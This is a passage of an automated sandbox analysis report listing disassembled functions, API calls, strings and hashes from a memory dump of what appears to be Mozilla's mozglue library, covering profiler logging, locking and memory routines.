memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C66B61E), ref: 6C66B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B79A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: d3f3a2acac7354601e8fa1bbbbc253461cb7b0408ecfd65e6694f683ea0b1963
Instruction ID: 27793c874caf852117240d9a740b02b71127ae2319ef255f7f441aedafcf3c86
Opcode Fuzzy Hash: d3f3a2acac7354601e8fa1bbbbc253461cb7b0408ecfd65e6694f683ea0b1963
Instruction Fuzzy Hash: A741B5B2D00115DFCB14DF69DC806AEFBB5BB85324F250629F825E7B80D731A91487EA

Function 6C6DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6DB5F4
__Init_thread_footer.LIBCMT ref: 6C6DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6DB61F
std::_Facet_Register.LIBCPMT ref: 6C6DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6DB655

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 81fb3659f63db796220f9dba9bc16d8f05a9a0197c4dbfd293860b9028c43924
Instruction ID: 62f5a2b1bfc7357d57fc8e128d4a50960becb7dc1b34eeb745272d9f17f398d6
Opcode Fuzzy Hash: 81fb3659f63db796220f9dba9bc16d8f05a9a0197c4dbfd293860b9028c43924
Instruction Fuzzy Hash: A4319271B052058BCB40DF6AD8989AEBBF5EBCE324F150526D90297740DB30A9068F9E

Function 6C6A6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C69FA80: GetCurrentThreadId.KERNEL32 ref: 6C69FA8D
Part of subcall function 6C69FA80: AcquireSRWLockExclusive.KERNEL32(6C6EF448), ref: 6C69FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6A67C8

Part of subcall function 6C6B4290: memcpy.VCRUNTIME140(?,?,6C6C2003,6C6C0AD9,?,6C6C0AD9,00000000,?,6C6C0AD9,?,00000004,?,6C6C1A62,?,6C6C2003,?), ref: 6C6B42C4

Strings

vnl, xrefs: 6C6A696C
data, xrefs: 6C6A6593

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vnl
API String ID: 511789754-3992961641
Opcode ID: 59c75ef7b7fd32359e7dc5222696c17edda4c6922ea85f590f6e7e451481516c
Instruction ID: 942838fb9d71d8e81bcccdfa1add7af474faeeb4089c3af8d7e85a4cedadd618
Opcode Fuzzy Hash: 59c75ef7b7fd32359e7dc5222696c17edda4c6922ea85f590f6e7e451481516c
Instruction Fuzzy Hash: 2ED1C275A083408FD764DF69C840B9FB7E5AFC6308F10492ED58997B51DB31E80ACB6A

Function 6C69D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C66EB57,?,?,?,?,?,?,?,?,?), ref: 6C69D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C66EB57,?), ref: 6C69D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C66EB57,?), ref: 6C69D673
free.MOZGLUE(?), ref: 6C69D888

Strings

Wfl, xrefs: 6C69D5D9, 6C69D63F
|Enabled, xrefs: 6C69D81E

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wfl$|Enabled
API String ID: 4142949111-2753809254
Opcode ID: 6eb50c860e8ee13308c2c33fbedf5407816bb355bac7f58ff9acfd109e5b9f6b
Instruction ID: 30b5b5cc964ef3cdb3e70e9b9416f8d4815b65a204f74ba5679362b3678c2212
Opcode Fuzzy Hash: 6eb50c860e8ee13308c2c33fbedf5407816bb355bac7f58ff9acfd109e5b9f6b
Instruction Fuzzy Hash: 88A10670A043069FDB11CF69C4D07EEBBF1AF4A318F14846DD899AB742D731A845CBA9

Function 6C6B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6B1BE3,?,?,6C6B1D96,00000000), ref: 6C6B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6B1BE3,?,?,6C6B1D96,00000000), ref: 6C6B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6B1DDA

Part of subcall function 6C6B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6B1F03
Part of subcall function 6C6B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6B1DF2,00000000,00000000), ref: 6C6B1F0C
Part of subcall function 6C6B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6B1DF4

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: ea89bff1eb187a91e4088453b8c41af8c5a040a597eaaecfe9c9c8026b453a24
Instruction ID: b974cc55359b018d616105ab7532aa7d3baf9aac532bb3030139c748cf42f8a5
Opcode Fuzzy Hash: ea89bff1eb187a91e4088453b8c41af8c5a040a597eaaecfe9c9c8026b453a24
Instruction Fuzzy Hash: 794188B5204701AFCB50DF29C888A56BBF9FF89354F10442EE95A87B41CB31F824CB99

Function 6C6A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A85AC

Part of subcall function 6C6A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A767F
Part of subcall function 6C6A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A7693
Part of subcall function 6C6A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6A85B2

Part of subcall function 6C685E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C685EDB
Part of subcall function 6C685E90: memset.VCRUNTIME140(ewll,000000E5,?), ref: 6C685F27
Part of subcall function 6C685E90: LeaveCriticalSection.KERNEL32(?), ref: 6C685FB2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c5c9dcf63efad24ee1e712157288ac1468dd5cbe22c637aa49c651e6e8e034ed
Instruction ID: 9f0b0912f486dcac9791f6903569f81b1252e3bf8fef2eeea7bdb6874bcc7bb4
Opcode Fuzzy Hash: c5c9dcf63efad24ee1e712157288ac1468dd5cbe22c637aa49c651e6e8e034ed
Instruction Fuzzy Hash: 7921BC702007419FDB14DB69C888A5AB7B5AF8830CF24082DE96B83B41EB31F959CB59

Function 6C671640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C671699
VerSetConditionMask.NTDLL ref: 6C6716CB
VerSetConditionMask.NTDLL ref: 6C6716D7
VerSetConditionMask.NTDLL ref: 6C6716DE
VerSetConditionMask.NTDLL ref: 6C6716E5
VerSetConditionMask.NTDLL ref: 6C6716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6716F9

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ddbb5834df6072c814c66c808d94d1a44b509b8883d9959e43988279d73c14c8
Instruction ID: c7f44ca5c7acd848f2e477eccba6336656ef344e6e05f4dc280014d5a42cae75
Opcode Fuzzy Hash: ddbb5834df6072c814c66c808d94d1a44b509b8883d9959e43988279d73c14c8
Instruction Fuzzy Hash: 1E21D2B07482086FEB216E659C85FBB737CEFCA704F00492AF6099B180D6759D548AA9

Function 6C6AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C69CBE8: GetCurrentProcess.KERNEL32(?,6C6631A7), ref: 6C69CBF1
Part of subcall function 6C69CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6631A7), ref: 6C69CBFA

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C6AF598), ref: 6C6AF621

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

GetCurrentThreadId.KERNEL32 ref: 6C6AF637
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8,?,?,00000000,?,6C6AF598), ref: 6C6AF645
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8,?,?,00000000,?,6C6AF598), ref: 6C6AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C6AF62A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: acc397aae74755d515e0657464058f28a510ee3b0272bf3a98e85df7237afad7
Instruction ID: eec686e4e76973761e422135e18b4be1114cd9df73c2eaa35eb668e5e2648bcf
Opcode Fuzzy Hash: acc397aae74755d515e0657464058f28a510ee3b0272bf3a98e85df7237afad7
Instruction Fuzzy Hash: 2E119875209205ABC7449F59D4849E577B9FFCB358F100417EA0583F01CB72AC12CBAE

Function 6C6C76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6C76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6C7705

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6C7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6C778F,00000000,00000000,00000000,00000000), ref: 6C6C7731
free.MOZGLUE(00000000), ref: 6C6C7760

Strings

}>jl, xrefs: 6C6C76C4

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>jl
API String ID: 2538299546-1307754905
Opcode ID: f1f78baf7dddc1db4c8bc4f01cd3496bbb515fe9fa3b5fb2c09a69f27cab6f80
Instruction ID: f7413c7a36dd430849b15fceb8ac8a44cd962d5fd7e9f64577e4350c06b502d6
Opcode Fuzzy Hash: f1f78baf7dddc1db4c8bc4f01cd3496bbb515fe9fa3b5fb2c09a69f27cab6f80
Instruction Fuzzy Hash: 0E11B6B1A053156BE710AF769C44BAB7EF8EF46354F144429F84897300E77098508BF6

Function 6C670EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C69D9F0,00000000), ref: 6C670F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C670F3C
__Init_thread_footer.LIBCMT ref: 6C670F50
FreeLibrary.KERNEL32(?,6C69D9F0,00000000), ref: 6C670F86

Strings

combase.dll, xrefs: 6C670F18
CoInitializeEx, xrefs: 6C670F36

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a6d55a8bb3fcd70a9b3616fe5915261840c6303bd0b721edab4281ce07d3e432
Instruction ID: 8aeceeedd789abe1c5acd4f04cc55c291e8851c2d585a9ce34185cb51e918c46
Opcode Fuzzy Hash: a6d55a8bb3fcd70a9b3616fe5915261840c6303bd0b721edab4281ce07d3e432
Instruction Fuzzy Hash: 0E11917460D2419BEF50CFA6D988A5537B4E7AF325F00462BED0583640D736A401CA7E

Function 6C6AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AF561

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

GetCurrentThreadId.KERNEL32 ref: 6C6AF577
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AF585
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C6AF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C6AF3A8
[I %d/%d] profiler_resume, xrefs: 6C6AF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C6AF56A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 26937f590911dd907842572b9f51181e71b31d030e7cb7793d658b3af5384281
Instruction ID: 0e3d89161e132d834cda0bb1004c30b62236af9a7145c84acd274ffb98ea4b07
Opcode Fuzzy Hash: 26937f590911dd907842572b9f51181e71b31d030e7cb7793d658b3af5384281
Instruction Fuzzy Hash: 83F054756083049FDB406FA6988896A7BBDEFCE29DF104417EA0583702DB764C068B6E

Function 6C670E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C670DF8), ref: 6C670E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C670EA1
__Init_thread_footer.LIBCMT ref: 6C670EB5
FreeLibrary.KERNEL32 ref: 6C670EC5

Strings

kernel32.dll, xrefs: 6C670E7D
GetProcessMitigationPolicy, xrefs: 6C670E9B

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: f6604f046774604a903015a22e8f3512a90eb8729eb062b6d0765e6d0b700160
Instruction ID: 1e9b2d03093b01880fd8a15f44b34dae902a61cdd04c6da847d4549c5c4e7d54
Opcode Fuzzy Hash: f6604f046774604a903015a22e8f3512a90eb8729eb062b6d0765e6d0b700160
Instruction Fuzzy Hash: D6014B70B09382CBDF908FEBF894A4233B5E78F314F100927DA0182B40E771A4468A2F

Function 6C6AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C6AF598), ref: 6C6AF621

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

GetCurrentThreadId.KERNEL32 ref: 6C6AF637
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8,?,?,00000000,?,6C6AF598), ref: 6C6AF645
ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8,?,?,00000000,?,6C6AF598), ref: 6C6AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C6AF62A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: c741566d187c5e1927815abb6cf67d5ee83b30d1d0d9c1842fb0f79e17fbd003
